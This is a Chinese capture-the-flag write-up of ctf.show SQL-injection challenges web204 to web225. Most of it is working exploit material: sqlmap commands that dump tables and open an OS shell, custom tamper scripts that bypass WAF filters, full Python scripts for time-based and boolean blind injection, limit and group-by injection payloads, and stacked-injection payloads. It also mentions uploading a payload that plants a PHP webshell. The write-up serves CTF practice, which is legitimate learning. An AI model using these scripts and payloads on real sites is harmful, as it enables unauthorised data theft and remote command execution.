sqlmap.py -u "http://915e3532-dda5-47a4-82f4-b439e1cd6464.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump

web204

使用--cookie 提交cookie数据

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

payload

加个cookie就行了

python sqlmap.py -u "http://3231bb16-ffbb-4679-a2ba-6a9687d737e4.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --cookie="ctfshow=64b77e9cb5917892ab53c4a2f6870182; PHPSESSID=c2lm2vuriqmg16ilkbh2f9sern" --method="PUT"

image-20220510181243184

web205

api调用需要鉴权

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where id = '".$_GET['id']."';";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
      

image-20220510181851876

每次查询都会调用一次getToken.php,这应该就是鉴权的过程

sqlmap中

--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

payload

python sqlmap.py -u "http://3c435471-9eeb-4118-ab03-80d1e15f215d.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --cookie="PHPSESSID=9i0d9ub2ad7q4rl94r3pi9vf23" --method="PUT" --safe-url="http://3c435471-9eeb-4118-ab03-80d1e15f215d.challenge.ctf.show/api/getToken.php" --safe-freq=1

image-20220510182857216

web206

sql需要闭合

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }   

sqlmap会自动给你把语句闭合的,所以可以继续用上一题的payload

python sqlmap.py -u "http://191dbe2e-0be0-4de8-aa21-666eda4b7951.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --cookie="PHPSESSID=b5cvb96c8fol1ev4rbbkp6p88d" --method="PUT" --safe-url="http://191dbe2e-0be0-4de8-aa21-666eda4b7951.challenge.ctf.show/api/getToken.php" --safe-freq=1

image-20220510183308961

web207

--tamper 的初体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

过滤了空格

sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下

举例如下tamper脚本:

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释

对于本题,过滤了空格,我们可以使用tamper文件夹下的space2comment.py文件,payload为

python sqlmap.py -u "http://f0b03390-e045-4d1a-ba12-80ead13bd7c4.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --cookie="PHPSESSID=b5cvb96c8fol1ev4rbbkp6p88d" --method="PUT" --safe-url="http://f0b03390-e045-4d1a-ba12-80ead13bd7c4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment

image-20220510222235981

web208

-tamper 的2体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
      

返回逻辑

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  } 

select被替换为空白,但是这里只过滤了小写,而sqlmap里用的一般都是大写

python sqlmap.py -u "http://3edc67ff-a1b2-4540-9a32-d9672278fc57.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --cookie="PHPSESSID=b5cvb96c8fol1ev4rbbkp6p88d" --method="PUT" --safe-url="http://3edc67ff-a1b2-4540-9a32-d9672278fc57.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment

image-20220510223034551

看,确实是大写的select

但是这道题是要考tamper脚本的编写

贴下y4师傅的

https://y4er.com/post/sqlmap-tamper/

#!/usr/bin/env python
"""
Author:Y4tacker
"""


from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    payload = space2comment(payload)
    return payload


def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

web209

--tamper 的3体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

这题需要将空格和*=替换,自己写一个tamper

(还没学会,我是废物www

#!/usr/bin/env python
"""
Author:Y4tacker
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    payload = space2comment(payload)
    return payload


def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == "*":
                retVal += chr(0x31)
                continue

            elif payload[i] == "=":
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

payload

python sqlmap.py -u "http://a0b33203-ce0f-492c-8058-7ee5ba5e6149.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --cookie="PHPSESSID=b5cvb96c8fol1ev4rbbkp6p88d" --method="PUT" --safe-url="http://a0b33203-ce0f-492c-8058-7ee5ba5e6149.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web209

image-20220510223906906

web210

--tamper 的4体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      

返回逻辑

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

对内容先base64解码然后逆序再base64解码再逆序

tamper:

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("别套了别套了")

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.encode()
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal

web211

多过滤了一个空格

  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}

tamper

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("别套了别套了")

def tamper(payload, **kwargs):

    retVal = payload

    retVal = retVal.replace(" ", "/**/")
    retVal = retVal.encode()
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal.decode()

    return retVal

web212

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

比上一个又多过滤了一个星号

tamper:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("别套了别套了")

def tamper(payload, **kwargs):
    payload = bypass(payload)

    retVal = payload
    retVal = retVal.encode()
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal.decode()

    return retVal

def bypass(payload):
    retVal = ""
    for i in range(len(payload)):
        if payload[i]==" ":
            retVal += chr(0x9)
        else:
            retVal += payload[i]
    return retVal

web213

这一题flag不在数据库中,因此需要利用–os-shell进行getshell

–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;
不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限

在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      

返回逻辑

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

payload

python sqlmap.py -u "http://074b704a-f2a2-4352-bede-0ac63d9324ce.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --cookie="PHPSESSID=b5cvb96c8fol1ev4rbbkp6p88d" --method="PUT" --safe-url="http://074b704a-f2a2-4352-bede-0ac63d9324ce.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshowweb213 --os-shell

image-20220510225713255

web214

时间盲注,跑脚本就行了

懒得写了,抄一下作业

"""
Author:Y4tacker
"""
import requests

url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web215

用了单引号,也就是变成字符型注入了,记得闭合就行

"""
Author:Y4tacker
"""
import requests

url = "http://4ba8a766-0fda-4c66-bdbc-0e3f0a9d57dc.chall.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
        # 查数据
        payload = "select flagaa from ctfshow_flagxc"
        data = {
            'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web216

where id = from_base64($id);

查询语句变成了这样

这题不能将base64编码之后的字符串作为payload传入,因为base64解码之后,SQL会当做一个字符串而不是一个语句

尝试闭合这个base64解码

"""
Author:Y4tacker
"""
import requests

url = "http://0f3060ee-be00-4090-a8e7-fc0944779c24.chall.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web217

查询语句

where id = ($id);
      

返回逻辑

//屏蔽危险分子
function waf($str){
    return preg_match('/sleep/i',$str);
}   

过滤了sleep,但是还有一个benchmark函数

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。该函数可以很方便地测试某些特定操作的性能
套神的测试:

image-20220510231229494

但是这个误差会很大

运行一次md5的时间可太短了,但是benchmark就是运行114514 1145140次md5计算出来的时间

值得注意的是,时间是指客户端的经过时间,不是在服务器端的CPU时间。

因此这个在注入的时候,和服务器跟网速有关

可以借鉴了feng师傅的思路,使用了time.sleep函数使每请求一次延迟0.2秒,提高准确率,且每爆出一个字母后就再延迟1.2秒,以免服务器卡顿,这样每条请求之间间隔一定的时间,虽然爆起来比较慢,但是准确率可以说是100%,不至于受到服务器和网速的影响。

#@Auth:Sentiment
import requests
import time
url="http://f563ebb3-cced-467b-b970-59f54fb5c9a0.challenge.ctf.show/api/index.php"
flag=''
for i in range(50):
    m=32
    n=127
    while 1:
        mid=(m+n)//2
        data={
        #'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid),'debug':"0" #ctfshow_flagxccb,ctfshow_info
        #'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid),'debug':"0" #id,flagaabc,info
        'ip':"if(ascii(substr((select flagaabc from ctfshow_flagxccb),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid),'debug':"0" #ctfshow{d0ec2f99-1463-480a-b2d0-f5bb3d464411}
        }
        #print(data)
        try:
           r = requests.post(url=url,data=data,timeout=0.5)
           m=mid
        except:
            n=mid
        if(m+1==n):
            flag+=chr(m)
            print(flag)
            break
        time.sleep(0.2)
    time.sleep(1)

web218

function waf($str){
    return preg_match('/sleep|benchmark/i',$str);
}   

benchmark也被过滤了

参考一下这两个

https://www.cnblogs.com/forforever/p/13019703.html

SQL注入有趣姿势总结 - 先知社区 (aliyun.com)

1.sleep

2.benchmark

3.笛卡尔积

4.GET_LOCK() 加锁

5.RLIKE REGEXP正则匹配

使用rpad或者repeat构造长字符串,利用正则表达式控制延时

mysql> select * from ctftable where if((concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),1,1);
+----+-------+--------+
| id | user  | passwd |
+----+-------+--------+
|  1 | admin | passwd |
|  2 | user  | pass   |
|  3 | Lxxx  | 123456 |
+----+-------+--------+
3 rows in set (3.63 sec)
import time
import requests
url = 'http://3471a536-3547-4d4b-93c6-06020fab5ffe.challenge.ctf.show/api/index.php'
flag = ''
sleep_rep = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"

for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))<{j},{sleep_rep},'False')#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.5)
            min = j
        except:
            max = j
        time.sleep(0.2)

web219

//屏蔽危险分子
function waf($str){
    return preg_match('/sleep|benchmark|rlike/i',$str);
}   

rlike也被过滤了,尝试用笛卡儿积

笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B,table_name C
select count(*) from table_name A, table_name B,table_name C  表可以是同一张表

Lxxx师傅的测试:

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
+----------+
| count(*) |
+----------+
| 62805625 |
+----------+
1 row in set (1.74 sec)
import requests
import time
url='http://f6ad04f0-3fd9-4eb9-9dc9-78cfaa9f5000.challenge.ctf.show/api/index.php'

flag=''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        # payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
        # payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"

        data={
            'ip':payload,
            'debug':0
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.15)
            min=j
        except:
            max=j
        time.sleep(0.1)

web220

//屏蔽危险分子
function waf($str){
    return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}   

payload同上

或者

过滤ascii和substr可以用like代替,在构造 payload 的时候使用 limit 限制查询条数,从而绕过 concat 的限制,在上题exp基础上修改一下即可

#@Auth:Sentiment
import requests
import time as t
url='http://b25594e9-ab57-43ce-a255-7b87f771b72a.challenge.ctf.show/api/index.php'
flag='ctfshow{'
for i in range(1,50):
    for j in 'abcdefghijklmnopqrstuvwxyz1234567890-_{}':
        data={
        #'ip':"if((select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%"),'debug':"0" # ctfshow_flagxcac
        #'ip':"if((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%"),'debug':"0" # flagaabcc
        'ip':"if((select flagaabcc from ctfshow_flagxcac) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%"),'debug':"0" #ctfshow{e97ffaa2-9de8-4b3d-a623-1a09ad9eeb83}
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=0.15)

        except:
            flag+=j
            print(flag)
            break
        t.sleep(0.3)

web221

盲注终于结束了,尤其是时间盲注,感觉又费时又费力。

limit注入

查询语句

//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
    

返回逻辑

//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢
      

看一下这个查询语句

select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开
#limit n 等同于 limit 0,n

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

p牛的文章

里面写道

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢

那肯定是能注入的

下面是p牛的尝试过程

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE可以有两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

看起来并不是很好,继续尝试:

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

但是立即返回了一个错误信息:

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话,还可以基于时间注入:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行,需要用BENCHMARK代替。

可以看到这里是利用了报错的方式注出了内容

适用范围 5.0.0< MySQL <5.6.6

而这道题里也开启了报错

当没有id这一参数时

image-20220511133031946

1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)

不知道为什么出不来数据(虽说只要注到库名就行

web222

group 注入

查询语句

//分页查询
$sql = select * from ctfshow_user group by $username;
    

返回逻辑

//TODO:很安全,不需要过滤
      

参数在group后边

group by可用于时间盲注,举个例子:

select * from users group by 1,if(1=1,sleep(0.5),1);
1

查询每一行时都需要执行sleep,我有5行数据所以需要大约5*0.5秒=2.5秒左右的时间

import requests
import time
url='http://9f4a1dc4-86c8-4876-b732-f5ffd6be8114.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
        #payload=f"1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.02),1)"
        payload=f"1,if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.02),1)"

        try:
            r=requests.get(url=url+payload,timeout=0.4)
            min=j
        except:
            max=j
        time.sleep(0.2)

这里我们可以试一下group by常规的报错语句

select count(*) from users group by concat(database(),floor(rand(0)*2));

发现能查出东西,那我们也可以利用布尔盲注

import requests
import time

url='http://60eb33c3-f99f-40ab-a612-d0085affb66a.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},username,id)"
        #payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},username,id)"
        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},username,id)"

        r=requests.get(url=url+payload).text
        #print(r.text)
        if len(r)<288:
            max=j
        else:
            min=j

web223

还是group注入

但是 过滤了数字,也就是说用substr之类的函数不能直接用了

但是经过测试还是能够盲注

image-20220511141529576

image-20220511141551392

看出返回值不同,而数字可以利用web185里提到的true代替

"""
Author:Y4tacker
"""
import requests


def generateNum(num):
    res = 'true'
    if num == 1:
        return res
    else:
        for i in range(num - 1):
            res += "+true"
        return res


url = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/"
i = 0
res = ""
while 1:
    head = 32
    tail = 127
    i = i + 1

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库-ctfshow_flagas
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段-flagasabc
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
        # 查flag
        payload = "select flagasabc from ctfshow_flagas"
        params = {
            "u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
        }
        r = requests.get(url, params=params)
        # print(r.json()['data'])
        if "userAUTO" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        res += chr(head)
    else:
        break
    print(res)

web224

在robots.txt里找到一个重置密码的页面,重置之后直接登录,看到文件上传的页面

然后试了试,怎么感觉什么也传不上去

ctfshow的群里有个payload.bin把这个传上去之后就直接生成了一个木马

访问1.php命令执行

image-20220511143349476

原理看这个

https://blog.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5

web225

查询语句

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
    

返回逻辑

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
  die(json_encode($ret));
}
    

题目提示是堆叠注入了

select被过滤了,利用常规的堆叠注入

image-20220511150345663

只能查到这了

和强网杯那道差不多

先让我们看看强网杯的payload

方法一 使用rename和alter
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
方法二 使用handler
0';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法三 使用预处理语句
0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#

而这道题alter被过滤了,所以可以利用预处理,或者是handler

又因为过滤了set,方法三所以直接写语句就行

https://blog.csdn.net/solitudi/article/details/107823398

(4条消息) 攻防世界-Web高手进阶区-supersqli(强网杯的随便注)_rfrder的博客-CSDN博客

预处理SQL

预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。 MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。
简单用法:

使用方法
MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句

字符串定义预处理

PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
ET @a = 3;
SET @b = 4;                                                   
EXECUTE stmt1 USING @a, @b;

变量定义预处理 SQL

SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
PREPARE stmt2 FROM @s;
SET @c = 6;
ET @d = 8;
EXECUTE stmt2 USING @c, @d;
